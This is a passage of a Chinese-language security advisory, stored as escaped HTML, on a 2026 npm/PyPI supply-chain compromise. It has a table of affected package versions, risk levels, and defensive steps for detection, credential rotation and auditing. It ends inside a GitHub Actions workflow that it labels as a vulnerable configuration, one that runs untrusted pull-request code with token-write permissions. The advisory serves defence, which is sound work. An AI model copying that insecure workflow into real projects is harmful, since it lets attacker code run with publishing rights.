!important;&quot;&gt;@tanstack/vue-router&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;5.4.0 - 5.4.2&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;200万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;npm&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;@tanstack/svelte-router&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;5.4.0 - 5.4.2&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;50万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; background-color: rgb(247, 247, 247); border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;npm&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;@mistralai/mistralai&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;0.2.0 - 0.2.2&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;80万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;极高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;npm&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;@uipath/robot&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;23.10.0 - 23.10.3&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;30万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; background-color: rgb(247, 247, 247); border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;npm&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;@opensearch-project/opensearch&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;2.12.0&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;130万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;PyPI&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;mistralai&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;0.2.0 - 0.2.2&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;45万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;极高&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box; outline: 0px; background-color: rgb(247, 247, 247); border-width: 1px 0px 0px; border-right-style: initial; border-bottom-style: initial; border-left-style: initial; border-right-color: initial; border-bottom-color: initial; border-left-color: initial; border-image: initial; border-top-style: solid; border-top-color: rgb(221, 221, 221); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;PyPI&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;guardrails-ai&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;0.4.0&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;15万+&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; outline: 0px; padding: 8px; margin: 0px; font-synthesis-style: auto; overflow-wrap: break-word; color: rgb(79, 79, 79); font-size: 14px; line-height: 22px; vertical-align: middle; word-break: normal !important;&quot;&gt;中&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;42__121&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;4.2 危害等级评估&lt;/h4&gt;&lt;ul style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;极高风险&lt;/span&gt;：使用了上述恶意版本包的生产环境，尤其是直接暴露在公网上的服务。攻击者可能已经窃取了云服务凭证、数据库密码等核心敏感信息，导致数据泄露、服务被接管甚至勒索攻击。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;高风险&lt;/span&gt;：使用了上述包的开发环境和CI/CD流水线。攻击者可能已经窃取了开发者的GitHub令牌和SSH私钥，从而进一步污染其他项目。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;中风险&lt;/span&gt;：仅在本地开发环境中使用过上述包，且没有存储任何敏感凭证的用户。建议立即清理恶意包并检查系统是否存在异常。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_127&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;五、官方处置与应急响应步骤&lt;/h3&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;51__129&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;5.1 官方处置进展&lt;/h4&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;截至2026年5月12日，npm和PyPI官方已经下架了所有确认的恶意版本，并将相关包标记为&lt;code style=&quot;box-sizing: border-box; outline: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; font-size: 14px; line-height: 22px; color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 2px; padding: 2px 4px; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;deprecated&lt;/code&gt;。TanStack、Mistral AI等受影响的组织也已经发布了安全公告和修复版本，并强制重置了所有维护者的访问令牌。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;然而，由于npm和PyPI的缓存机制，部分地区的镜像站可能仍然存在恶意版本的缓存。建议开发者在更新依赖时，明确指定安全的版本号，而不是使用模糊的版本范围。&lt;/p&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;52__135&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;5.2 企业级应急响应清单（立即执行）&lt;/h4&gt;&lt;h5 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 24px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;1_137&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;步骤1：检测并清理恶意依赖&lt;/h5&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 1.2em; margin-bottom: 24px; padding: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; line-height: 22px; max-height: 340px; border-radius: 5px; overflow-y: hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; background-color: rgb(255, 255, 255);&quot;&gt;#&amp;nbsp;npm生态检测npm&amp;nbsp;ls&amp;nbsp;@tanstack/react-router&amp;nbsp;@tanstack/vue-router&amp;nbsp;@mistralai/mistralai&amp;nbsp;@opensearch-project/opensearch#&amp;nbsp;如果发现恶意版本，立即卸载并安装安全版本npm&amp;nbsp;uninstall&amp;nbsp;@tanstack/react-routernpm&amp;nbsp;install&amp;nbsp;@tanstack/react-router@5.3.12&amp;nbsp;--save-exact#&amp;nbsp;PyPI生态检测pip&amp;nbsp;list&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;-E&amp;nbsp;&amp;quot;mistralai|guardrails-ai&amp;quot;#&amp;nbsp;清理PyPI恶意包pip&amp;nbsp;uninstall&amp;nbsp;mistralai&amp;nbsp;guardrails-ai
pip&amp;nbsp;install&amp;nbsp;mistralai==0.1.9&amp;nbsp;--force-reinstall&lt;/pre&gt;&lt;h5 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 24px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;2_155&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;步骤2：强制轮换所有敏感凭证&lt;/h5&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-size: 16px; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;这是&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;最重要&lt;/span&gt;的一步。无论你是否确认受到攻击，只要在过去72小时内使用过上述任何一个包，都必须立即轮换以下所有凭证：&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;AWS/GCP/Azure的访问密钥和秘密访问密钥&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;GitHub/GitLab个人访问令牌和部署密钥&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;SSH私钥（特别是用于访问生产服务器的私钥）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;数据库密码和API密钥&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;CI/CD流水线的访问令牌&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;加密货币钱包的私钥&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 24px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;3_166&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;步骤3：审计系统和网络活动&lt;/h5&gt;&lt;ul style=&quot;box-sizing: border-box; outline: 0px; margin-bottom: 24px; padding: 0px; list-style-position: initial; list-style-image: initial; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;检查服务器的登录日志，查看是否有异常的登录记录&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;审计云服务的资源使用情况，查看是否有未授权的资源创建&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;检查网络流量，查看是否有向未知IP地址的出站连接&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;扫描系统中是否存在可疑的定时任务和守护进程&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 24px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;4CICD_173&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;步骤4：加固CI/CD流水线安全&lt;/h5&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 1.2em; margin-bottom: 24px; padding: 0px; font-family: &amp;quot;Source Code Pro&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Ubuntu Mono&amp;quot;, &amp;quot;Anonymous Pro&amp;quot;, &amp;quot;Droid Sans Mono&amp;quot;, Menlo, Monaco, Consolas, Inconsolata, Courier, monospace, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif; line-height: 22px; max-height: 340px; border-radius: 5px; overflow-y: hidden; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; background-color: rgb(255, 255, 255);&quot;&gt;#&amp;nbsp;错误的配置（易受攻击）name:&amp;nbsp;Publish&amp;nbsp;Packageon:
&amp;nbsp;&amp;nbsp;pull_request_target:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;branches:&amp;nbsp;[main]jobs:
&amp;nbsp;&amp;nbsp;publish:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;runs-on:&amp;nbsp;ubuntu-latest&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;permissions:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;id-token:&amp;nbsp;write&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;contents:&amp;nbsp;read&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;steps:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;uses:&amp;nbsp;actions/checkout@v4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;run:&amp;nbsp;npm&amp;nbsp;ci&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;run:&amp;nbsp;npm&amp;nbsp;test&amp;nbsp;&amp;nbsp;#&amp;nbsp;这里会执行攻击者的恶意代码
